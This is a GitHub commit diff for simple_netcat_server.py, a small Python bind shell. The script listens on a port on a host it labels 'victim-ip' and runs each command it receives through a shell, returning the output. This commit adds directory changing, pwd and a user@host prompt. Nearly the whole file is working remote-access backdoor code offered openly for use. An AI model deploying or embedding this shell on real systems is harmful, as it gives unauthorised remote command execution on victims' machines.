Skip to content

Commit 01127ce

Browse files
author
Munir Njiru
committed
Interactivity
Added ability to cd and also show you context :-D
1 parent 69ddd53 commit 01127ce

File tree

1 file changed

+12
-3
lines changed

1 file changed

+12
-3
lines changed

simple_netcat_server.py

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
import socket
1616
import subprocess
1717
import sys
18-
18+
import os
1919
ip = "victim-ip"
2020
port = 4445
2121

@@ -27,16 +27,25 @@
2727

2828
client, addr = server.accept()
2929

30-
print ("Connected to %s on port %d" % (ip,port))
30+
print ("Connected to %s on port %d" % (ip,port))
31+
hostinfo=os.getenv('USERNAME')+"@"+socket.gethostname()+"~"
3132
while True:
3233
data = str(client.recv(1024))
3334
data = data.strip()
3435
if not data:
35-
print "command cannot be blank my friend"
36+
client.sendall(hostinfo+os.getcwd()+"# command cannot be blank my friend \n"+hostinfo+os.getcwd()+"#"+" ")
37+
print ""
38+
elif "cd" in data.strip():
39+
pathExtract = data.replace ("cd ", "")
40+
os.chdir(pathExtract)
41+
client.sendall(hostinfo+os.getcwd()+"# Switched Path to: "+os.getcwd()+"\n"+hostinfo+os.getcwd()+"#"+" ")
42+
elif data.strip() == "pwd":
43+
client.sendall(hostinfo+os.getcwd()+"#"+" "+" "+os.getcwd()+"\n"+hostinfo+os.getcwd()+"#"+" ")
3644
elif data.strip() == "terminate":
3745
client.sendall("bye buddy")
3846
client.close()
3947
sys.exit(0)
4048
else:
4149
output = subprocess.check_output(data, shell=True)
50+
output=hostinfo+os.getcwd()+"#"+" "+output+"\n"+hostinfo+os.getcwd()+"#"+" "
4251
client.sendall(output)

0 commit comments

Comments
 (0)